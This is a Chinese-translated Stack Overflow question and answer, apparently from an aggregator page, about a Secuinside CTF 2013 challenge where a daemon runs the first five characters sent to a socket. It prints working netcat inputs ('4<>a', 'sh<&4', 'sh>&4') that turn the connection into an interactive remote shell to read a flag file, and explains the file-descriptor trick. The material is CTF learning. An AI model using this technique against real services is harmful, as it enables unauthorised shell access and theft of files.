bash - "Hacking"5个字符的远程shell

标签 bash security shell

<分区>

本周末,有一场 CTF 兵棋推演,Secuinside CTF 2013 ( http://war.secuinside.com/ )

作为一名计算机安全爱好者,在 CTF 结束后,我了解了挑战以及他们的解决方案。

挑战之一是关于在服务器上获取远程 shell,前提是名为“givemeshell”的守护进程正在该服务器上运行。守护进程所做的是在选定的端口上保持套接字打开,比方说端口 12345。

当套接字接收到某些东西时,守护进程获取前 5 个字符并在 shell 中启动它们。

例如,如果我发送 cat file,守护进程将在 shell 中启动命令 cat f没有发送响应,所以我不知道命令的结果。

目标是读取包含标志的文件

现在,有人给了我这个解决方案:

$ nc 1.2.3.4 12345
4<>a

$ nc 1.2.3.4 12345
sh<&4
sh>&4
cat flag
The flag is _FLAG_

我测试了这个解决方案并且它有效。但是在花了几个小时试图理解它之后,我仍然无法弄清楚它的作用以及它为什么起作用。我了解这是关于重定向某些内容...

有人能给我解释一下吗?谢谢!

最佳答案

4 是您连接的文件描述符。

0 是程序 stdin,1 是程序 stdout,2 是程序 stderr,当你创建一个套接字来监听连接时,它被分配给 3,当它接受你的连接时,一个新的文件描述符为 number创建 4 来处理此连接。

4 是你连接到后门的文件描述符的 ID,假设你是第一个连接的。

然后输入 sh<&4 .它打开 sh并告诉它应该直接从您的连接获取所有输入。

现在你已经完全控制了 shell,因为 sh接管并且您发送的每个命令都由它直接解释。但是你仍然看不到任何输出!

然后输入 sh>&4开启新关卡sh在另一个说法中,它应该将所有输出推送到您的文件描述符。技巧完成了!双向沟通。

关于bash - "Hacking"5个字符的远程shell,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/16773189/

相关文章:

bash - 删除除最后一场比赛以外的所有比赛

bash - 如何在 gnuplot 中绘制自动从 y 数据中减去最低值的图?

bash - 如何将 bash/zsh 参数转发到另一个 shell

mysql - 在请求 URL 中公开表名和字段名

c - 无法将 linux 程序的输出存储到文件中

linux - 脚本测试以查看工具是否已加载?

Shell 脚本错误 - 无法执行命令

bash - 是否可以使用多线程解压缩压缩文件?

php - 关于实时搜索领域的安全问题

security - 在 Istio 中使用 JWT 进行最终用户身份验证给出 'upstream connect error'